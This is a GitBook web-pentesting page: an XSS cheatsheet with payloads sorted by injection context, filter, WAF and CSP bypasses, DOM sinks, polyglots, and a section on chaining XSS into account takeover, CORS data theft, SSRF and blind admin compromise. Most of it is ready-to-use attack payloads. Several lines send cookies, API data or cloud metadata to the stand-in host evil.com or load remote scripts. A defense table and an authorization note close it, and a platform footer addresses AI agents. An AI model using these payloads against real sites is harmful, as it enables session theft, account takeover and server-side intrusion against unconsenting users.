> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/web-application-pentesting/01.-cross-site-scripting/xss-cheatsheet.md).

# XSS Cheatsheet

## XSS Cheatsheet: Zero to Advanced + Chaining

#### Fast reference for payloads, contexts, bypasses, tools and multi-vulnerability attack chains

*Companion to `XSS_Deep_Dive_Guide.md` and `Post_XSS_Attack_Techniques_Deep_Dive.md`. Those two explain the concepts in depth. This file is the quick-lookup version you keep open while testing.*

***

### Table of Contents

1. [30-Second Primer](https://claude.ai/chat/8862dee2-9a90-44cf-948d-26cc7850b1be#1-primer)
2. [Types at a Glance](https://claude.ai/chat/8862dee2-9a90-44cf-948d-26cc7850b1be#2-types)
3. [Detection Workflow](https://claude.ai/chat/8862dee2-9a90-44cf-948d-26cc7850b1be#3-detection)
4. [Context Cheat Table](https://claude.ai/chat/8862dee2-9a90-44cf-948d-26cc7850b1be#4-contexts)
5. [Payloads by Context](https://claude.ai/chat/8862dee2-9a90-44cf-948d-26cc7850b1be#5-payloads)
6. [Tag-Based Vectors (non-script)](https://claude.ai/chat/8862dee2-9a90-44cf-948d-26cc7850b1be#6-tags)
7. [Event Handlers Reference](https://claude.ai/chat/8862dee2-9a90-44cf-948d-26cc7850b1be#7-events)
8. [Encoding & Obfuscation Cheat Table](https://claude.ai/chat/8862dee2-9a90-44cf-948d-26cc7850b1be#8-encoding)
9. [Filter & WAF Bypass Snippets](https://claude.ai/chat/8862dee2-9a90-44cf-948d-26cc7850b1be#9-bypass)
10. [Comment & Parser-Confusion Tricks](https://claude.ai/chat/8862dee2-9a90-44cf-948d-26cc7850b1be#10-comments)
11. [CSP Bypass Snippets](https://claude.ai/chat/8862dee2-9a90-44cf-948d-26cc7850b1be#11-csp)
12. [DOM XSS Sources & Sinks](https://claude.ai/chat/8862dee2-9a90-44cf-948d-26cc7850b1be#12-dom)
13. [Polyglots](https://claude.ai/chat/8862dee2-9a90-44cf-948d-26cc7850b1be#13-polyglots)
14. [Chaining XSS With Other Bugs](https://claude.ai/chat/8862dee2-9a90-44cf-948d-26cc7850b1be#14-chaining)
15. [Burp Suite Quick Workflow](https://claude.ai/chat/8862dee2-9a90-44cf-948d-26cc7850b1be#15-burp)
16. [Tools One-Liner Reference](https://claude.ai/chat/8862dee2-9a90-44cf-948d-26cc7850b1be#16-tools)
17. [Defense Cheat Table](https://claude.ai/chat/8862dee2-9a90-44cf-948d-26cc7850b1be#17-defense)

***

### 1. 30-Second Primer

XSS: attacker gets arbitrary JavaScript to run in a victim's browser, in the victim's session, on the target's origin.

Three core types:

* **Reflected**: payload in the request, echoed back in the same response.
* **Stored**: payload saved server-side, served to every viewer.
* **DOM-based**: payload never touches the server, client-side JS mishandles it.

Golden rule of the whole topic: **encode output based on the exact context it lands in.** Everything below is either "how to find where that rule was broken" or "what to do once it was."

***

### 2. Types at a Glance

| Type             | Payload location                                  | Server sees it? | Needs victim click? |
| ---------------- | ------------------------------------------------- | --------------- | ------------------- |
| Reflected        | URL/request                                       | Yes             | Yes                 |
| Stored           | Database                                          | Yes             | No                  |
| DOM-based        | Client-side JS only                               | Not always      | Usually             |
| Blind            | Stored, fires elsewhere (admin panel)             | Yes             | No                  |
| Mutation (mXSS)  | Sanitized HTML that browser re-parses dangerously | Yes             | Varies              |
| Universal (UXSS) | Browser/extension bug, not app bug                | N/A             | N/A                 |

***

### 3. Detection Workflow

```
1. Map every input: URL params, form fields, headers, uploads, postMessage, WebSocket
2. Send unique canary to every input:  zzXSS12345
3. Search RAW response (not rendered) for the canary
4. Note exact surrounding characters (context)
5. Send breakout probe:  "'><\/
6. See which characters survive unescaped
7. Build minimal payload for that exact context
8. If nothing reflects: check client-side JS for sinks (DOM-based)
9. If still nothing: inject OOB/Collaborator payload and wait (blind)
```

Quick canary set to throw at every field in one pass:

```
zzXSS'"><zzXSS
```

***

### 4. Context Cheat Table

| Where input lands               | Example                 | Breakout needed                                      |
| ------------------------------- | ----------------------- | ---------------------------------------------------- |
| HTML body                       | `<div>INPUT</div>`      | `<script>` / tag injection, no breakout chars needed |
| HTML attribute (double quote)   | `value="INPUT"`         | `"` then new attribute or tag                        |
| HTML attribute (single quote)   | `value='INPUT'`         | `'` then new attribute or tag                        |
| HTML attribute (unquoted)       | `value=INPUT`           | space then new attribute                             |
| JS string                       | `var x="INPUT"`         | `"` then `;` then code then `//`                     |
| JS no quotes / template literal | `var x=INPUT`           | direct code injection, no quote breakout             |
| URL / href / src                | `<a href="INPUT">`      | `javascript:` or `data:` scheme                      |
| CSS                             | `<style>INPUT</style>`  | `}` then new rule, or `expression()` legacy          |
| HTML comment                    | `<!-- INPUT -->`        | `-->` to close early                                 |
| JSON embedded in HTML           | `var x = {"k":"INPUT"}` | `"` then `,"__proto__":...` or break to `</script>`  |

***

### 5. Payloads by Context

#### HTML body

```html
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<details open ontoggle=alert(1)>
```

#### HTML attribute, double-quoted

```html
"><script>alert(1)</script>
" autofocus onfocus=alert(1) x="
" onmouseover=alert(1) x="
```

#### HTML attribute, single-quoted

```html
'><img src=x onerror=alert(1)>
' onfocus=alert(1) autofocus x='
```

#### HTML attribute, unquoted

```html
x onmouseover=alert(1)//
x autofocus onfocus=alert(1)
```

#### JS string

```javascript
";alert(1);//
";alert(1)}//
</script><script>alert(1)</script>
\';alert(1);//
```

#### JS, no quotes

```javascript
alert(1)
-alert(1)-
(alert)(1)
```

#### URL / href / src

```
javascript:alert(document.cookie)
data:text/html,<script>alert(1)</script>
javascript:alert(1)//https://real-looking-domain.com
```

#### CSS

```css
red;}</style><script>alert(1)</script>
expression(alert(1))   /* legacy IE only */
```

#### HTML comment breakout

```html
--><script>alert(1)</script><!--
<!--><img src=x onerror=alert(1)>-->
```

***

### 6. Tag-Based Vectors (non-script)

Use these when `<script>` itself is blocked but other tags survive filtering.

```html
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<svg><script>alert(1)</script></svg>
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
<video><source onerror=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<iframe src="javascript:alert(1)"></iframe>
<object data="javascript:alert(1)"></object>
<embed src="javascript:alert(1)">
<meta http-equiv="refresh" content="0;url=javascript:alert(1)">
<base href="javascript:alert(1)//">
<form action="javascript:alert(1)"><input type=submit>
<math href="javascript:alert(1)"><mtext>click</mtext></math>
<link rel=preload href=x as=script onerror=alert(1)>
<marquee onstart=alert(1)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<table background="javascript:alert(1)">
```

Why `<img src=x onerror=...>` is the default PoC: `x` is never a valid image, so `onerror` fires 100% of the time, no user interaction needed.

***

### 7. Event Handlers Reference

Common ones to test when a filter blocks `onerror`/`onload` specifically but not events generally:

```
onerror   onload    onmouseover   onmouseenter   onfocus   onblur
onclick   ondblclick   onkeydown  onkeyup        oninput   onchange
onsubmit  onreset      onwheel    ontoggle       onbegin (SVG animate)
onstart (marquee)      onpointerdown              onanimationstart
onpageshow onafterprint  ondrag   ondrop          oncopy   onpaste
```

Delivery pattern for any of them:

```html
<TAG EVENTATTR=alert(1)>
```

***

### 8. Encoding & Obfuscation Cheat Table

| Technique                        | Example                                     |
| -------------------------------- | ------------------------------------------- |
| Case variation                   | `<ScRiPt>alert(1)</sCrIpT>`                 |
| HTML decimal entity              | `&#97;lert(1)`                              |
| HTML hex entity                  | `&#x61;lert(1)`                             |
| URL encoding                     | `%3Cscript%3Ealert(1)%3C/script%3E`         |
| Double URL encoding              | `%253Cscript%253E`                          |
| Unicode escape (JS)              | `\u0061lert(1)`                             |
| Hex escape (JS)                  | `\x61lert(1)`                               |
| String concatenation             | `window['al'+'ert'](1)`                     |
| Bracket notation                 | `window['alert'](1)`                        |
| Template literal call, no parens | `` alert`1` ``                              |
| Base64 + eval-adjacent sink      | `atob('YWxlcnQoMSk=')` fed to eval/Function |
| Null byte (legacy filters)       | `<img src=x onerror=alert(1)%00>`           |
| Tab/newline inside scheme        | `javascr\tipt:alert(1)`                     |
| Mixed entity + literal           | `<img src=x onerror=al&#x65;rt(1)>`         |

***

### 9. Filter & WAF Bypass Snippets

```html
<!-- Blacklist keyword filter (blocks "script"/"alert") -->
<ScRiPt>alert(1)</ScRiPt>
<img src=x onerror=window['al\x65rt'](1)>

<!-- Tag stripped once, not recursively -->
<scr<script>ipt>alert(1)</scr</script>ipt>

<!-- Angle brackets encoded, but you're already inside <script> -->
";alert(1);//

<!-- Length-limited input -->
<svg/onload=alert()>

<!-- Regex blocks on\w+= but <script> allowed -->
<script>fetch('//evil.com/'+document.cookie)</script>

<!-- Regex blocks <script> but events allowed -->
<body onload=alert(1)>

<!-- Both blocked: CSS exfil fallback -->
<style>
  input[value^="a"] { background: url(https://evil.com/log?c=a); }
</style>
```

***

### 10. Comment & Parser-Confusion Tricks

```html
<!-- Close an existing comment early -->
--><script>alert(1)</script><!--

<!-- JS comment to swallow trailing code the developer appends -->
";alert(1);//
"; alert(1); /*
*/

<!-- Malformed attribute confuses naive parsers -->
<img """><script>alert(1)</script>">

<!-- Smuggle payload inside src, trigger via eval(src) pattern -->
<img src=x:alert(1) onerror=eval(src)>
```

Reminder: JS comments can swallow trailing statements, but cannot split a single token/identifier (`al/**/ert` is not valid JS). Use string concatenation or encoding for that instead.

***

### 11. CSP Bypass Snippets

```
# unsafe-inline present: game over, inline payloads just work
Content-Security-Policy: script-src 'self' 'unsafe-inline'

# JSONP endpoint on an allowed host
Content-Security-Policy: script-src 'self' https://cdn.trusted.com
<script src="https://cdn.trusted.com/api?callback=alert;//"></script>

# missing base-uri, inject a <base> to hijack relative script paths
<base href="https://evil.com/">

# nonce leaked elsewhere in the DOM: reuse it
<script nonce="LEAKED_NONCE">alert(1)</script>
```

Good CSP baseline (for defenders, and to recognize what a hardened target looks like):

```
Content-Security-Policy:
  default-src 'none';
  script-src 'nonce-<random-per-response>' 'strict-dynamic';
  object-src 'none';
  base-uri 'none';
  require-trusted-types-for 'script';
```

***

### 12. DOM XSS Sources & Sinks

**Sources** (attacker-controllable):

```
location.href / location.search / location.hash
document.referrer
window.name
document.cookie
postMessage data
localStorage / sessionStorage
```

**Sinks** (dangerous if fed unsanitized source data):

```
innerHTML / outerHTML
document.write() / document.writeln()
eval()
setTimeout("string") / setInterval("string")
Function() constructor
element.setAttribute('onclick', ...)
location = / location.href =
jQuery: $(userInput), .html(), .append()
```

Quick test payload for a `location.hash` -> `innerHTML` sink:

```
https://target.com/page#<img src=x onerror=alert(1)>
```

***

### 13. Polyglots

Fires across multiple contexts at once, useful for a quick single-shot test:

```
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
```

Short polyglot for length-limited fields:

```
"><svg/onload=alert(1)>
```

***

### 14. Chaining XSS With Other Bugs

XSS rarely matters on its own to a bug bounty triager or a real attacker. Its severity comes from what it chains into. This section is the "0 to advanced" leap: connecting XSS to other classes of bug for maximum impact.

#### 14.1 The general chaining mental model

```mermaid
flowchart TD
    X["XSS confirmed (alert fires)"] --> Q{"What else is on this target?"}
    Q --> A["Weak/no SameSite cookie"] --> A2["Chain: session hijack -> account takeover"]
    Q --> B["CSRF tokens present but readable from DOM"] --> B2["Chain: XSS reads token, forges any action"]
    Q --> C["Open redirect endpoint exists"] --> C2["Chain: XSS delivery via trusted-looking redirect link"]
    Q --> D["CORS misconfigured (reflects Origin, allows credentials)"] --> D2["Chain: XSS-free data theft, or combine for deeper reach"]
    Q --> E["Client-side prototype pollution"] --> E2["Chain: pollution reaches a sink XSS alone couldn't reach"]
    Q --> F["File upload accepts SVG/HTML"] --> F2["Chain: stored XSS via uploaded 'image'"]
    Q --> G["Admin panel renders user-submitted content"] --> G2["Chain: blind XSS -> full admin session -> total app compromise"]
    Q --> H["App has SSRF-capable feature (PDF export, screenshot, URL preview)"] --> H2["Chain: XSS payload triggers server-side fetch -> internal network access"]
    Q --> I["Password reset uses Host header"] --> I2["Chain: host header injection + XSS -> reset link poisoning"]
    Q --> J["Feature lets user's action modify their own public content"] --> J2["Chain: self-XSS becomes a worm (Samy pattern)"]
```

#### 14.2 XSS + weak CSRF/SameSite -> full account takeover

If cookies are `SameSite=None` or CSRF tokens are stored in a readable meta tag, XSS doesn't just steal the session, it can directly perform account changes (email, password, 2FA reset) in one shot instead of needing a second exploit:

```javascript
const token = document.querySelector('meta[name=csrf-token]').content;
fetch('/api/account/email', {
  method: 'POST',
  headers: {'X-CSRF-Token': token, 'Content-Type': 'application/json'},
  body: JSON.stringify({email: 'attacker@evil.com'})
}).then(() => fetch('/api/account/password-reset-request', {method:'POST'}));
```

Result: attacker now controls the recovery email and can trigger a password reset to fully own the account, no cookie theft needed.

#### 14.3 XSS + Open Redirect -> more convincing delivery

An open redirect (`/redirect?url=`) on the trusted domain makes phishing links for a reflected XSS payload look far more legitimate, since the initial link shown to the victim is 100% the real domain before bouncing:

```
https://victim.com/redirect?url=https://victim.com/search?q=<script>...</script>
```

Even more effective if the redirect itself is the vulnerable endpoint (reflected XSS in the `url` parameter's error page, for instance).

#### 14.4 XSS + CORS misconfiguration -> data theft without cookies

If an API reflects `Access-Control-Allow-Origin` from the request's `Origin` header and sets `Access-Control-Allow-Credentials: true`, an XSS payload (or even a standalone malicious page, if the CORS bug is severe enough) can read authenticated API responses directly:

```javascript
fetch('https://victim.com/api/private-data', {credentials: 'include'})
  .then(r => r.json())
  .then(data => fetch('https://evil.com/exfil', {method:'POST', body: JSON.stringify(data)}));
```

When XSS already exists, this chain isn't strictly necessary (XSS alone can already do this), but the two bugs are often assessed together and CORS misconfig alone (no XSS needed) is worth checking for on the same target.

#### 14.5 XSS + Prototype Pollution -> reaching sinks XSS filters block

If input sanitization blocks all normal payloads but a separate prototype pollution bug exists client-side, an attacker can pollute a property a trusted library reads as "safe HTML" or "trusted config," turning a sanitized page into an unsanitized one without ever sending a classic `<script>` payload:

```json
{"__proto__": {"innerHTML": "<img src=x onerror=alert(1)>"}}
```

#### 14.6 XSS via file upload (SVG/HTML disguised as image) -> stored, persistent

Combine an upload validation bypass (Content-Type spoofing, extension trust) with the fact that SVG is XML and natively supports `<script>`:

```html
<!-- avatar.svg, uploaded with Content-Type: image/jpeg -->
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://evil.com/steal?c='+document.cookie)">
```

If served back inline from the same origin without `X-Content-Type-Options: nosniff`, this becomes persistent stored XSS hitting every viewer of that "image."

#### 14.7 Blind XSS in an admin panel -> total compromise

Plant an out-of-band payload in any field an admin might review (support ticket, order note, flagged content queue):

```html
<script src="https://your-collaborator-domain.com/x.js"></script>
```

When it fires inside the admin's session, it typically has far higher privileges than a normal user, meaning the same exfil/forced-action techniques from the companion Post-XSS guide (Section 5: CSRF via XSS) now operate with admin rights, often leading to full application compromise rather than one user's account.

#### 14.8 XSS -> SSRF via server-side rendering features

Apps that generate PDFs, screenshots, or link previews from user content sometimes render that content in a **server-side headless browser**. If that renderer executes injected JavaScript, the "victim" is the server itself, and the script runs with the server's network access:

```html
<script>fetch('http://169.254.169.254/latest/meta-data/').then(r=>r.text()).then(t=>fetch('https://evil.com/exfil',{method:'POST',body:t}))</script>
```

This is one of the highest-impact chains possible: client-side injection turning into server-side request forgery against internal infrastructure or cloud metadata endpoints.

#### 14.9 XSS -> worm (Samy pattern)

Any feature where a user's own action edits content that OTHER users will later view (profile bio, public comment, shared document) combined with stored XSS lets a payload copy itself into each new viewer's own content, spreading exponentially. See the companion Post-XSS guide for the full case study.

#### 14.10 Quick chaining checklist to run through on every confirmed XSS

```
[ ] Check SameSite/HttpOnly on session cookies (Section 14.2 impact scope)
[ ] Check if CSRF token is readable from the DOM (meta tag, hidden input, JS variable)
[ ] Check for an open redirect on the same domain (better delivery)
[ ] Check CORS headers on sensitive API endpoints
[ ] Check whether the app has any server-side rendering feature (PDF, screenshot, preview) -> possible SSRF chain
[ ] Check whether the injection point is viewed by higher-privilege users (admin, support) -> blind XSS escalation
[ ] Check whether the vulnerable feature lets the user's action touch content OTHERS view -> worm potential
```

***

### 15. Burp Suite Quick Workflow

```
1. Proxy > intercept on, browse target normally through Burp's browser
2. Send interesting request to Repeater (Ctrl+R)
3. Replace param with canary: zzXSS12345, send, search raw response
4. Note context, build payload, send, check Render tab or open in real browser
5. Send same request to Intruder, mark param with §§
6. Load an XSS payload wordlist, add Grep-Match for your canary string
7. Run attack, sort by grep-match column / response length
8. For DOM XSS: Settings > DOM Invader > enable, browse target in Burp's browser
9. For blind XSS: Collaborator client > copy payload > inject into every non-reflected field > poll for hits
```

Repeater payload swap shortcuts worth keeping pinned:

```
"><script>alert(1)</script>
'><img src=x onerror=alert(1)>
";alert(1);//
javascript:alert(1)
```

***

### 16. Tools One-Liner Reference

| Tool               | Quick use                                                    |
| ------------------ | ------------------------------------------------------------ |
| Burp Suite         | Manual testing, Repeater/Intruder, DOM Invader, Collaborator |
| OWASP ZAP          | Free automated + manual scanning                             |
| XSStrike           | `python3 xsstrike.py -u "https://target.com/search?q=test"`  |
| Dalfox             | `dalfox url https://target.com/search?q=test`                |
| Dalfox (bulk)      | `cat urls.txt \| dalfox pipe`                                |
| XSS Hunter Express | Self-hosted blind XSS payload firing + capture               |
| BeEF               | `./beef` then inject the generated hook.js script tag        |

***

### 17. Defense Cheat Table

| Layer              | What to do                                                                                                                                                                |
| ------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Output encoding    | Encode per context: HTML entity for body/attributes, JS-string escape for script blocks, URL-encode for links, CSS-escape for style                                       |
| Rich text input    | Sanitize with DOMPurify (JS), bleach (Python), sanitize-html (Node), HTML Purifier (PHP). Never hand-roll a sanitizer                                                     |
| Cookies            | `HttpOnly; Secure; SameSite=Strict` on every session cookie                                                                                                               |
| CSP                | Strict, nonce-based, no `unsafe-inline`, no wildcard hosts, `object-src 'none'`, `base-uri 'none'`                                                                        |
| Trusted Types      | `require-trusted-types-for 'script'` to hard-block raw sink assignment                                                                                                    |
| Uploads            | Serve from a cookieless subdomain, `X-Content-Type-Options: nosniff`, `Content-Disposition: attachment`, re-encode images server-side                                     |
| Framework defaults | Use auto-escaping (React `{}`, Vue `{{ }}`, Angular default sanitization, Django/Jinja2 autoescape). Avoid `dangerouslySetInnerHTML`, `v-html`, `bypassSecurityTrustHtml` |
| Session hygiene    | Rotate session ID on login/privilege change (defeats fixation chaining)                                                                                                   |
| Dependencies       | Keep sanitizer libraries and frontend frameworks patched (mXSS bugs get fixed continuously)                                                                               |
| CI/CD              | Run ZAP baseline scan or Dalfox against staging on every deploy                                                                                                           |

***

**Ethical/legal note:** everything in this cheatsheet is standard, widely-taught security education material, the same content covered by OWASP, PortSwigger, and every major AppSec course. Only test systems you own or have explicit written authorization to test.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/web-application-pentesting/01.-cross-site-scripting/xss-cheatsheet.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
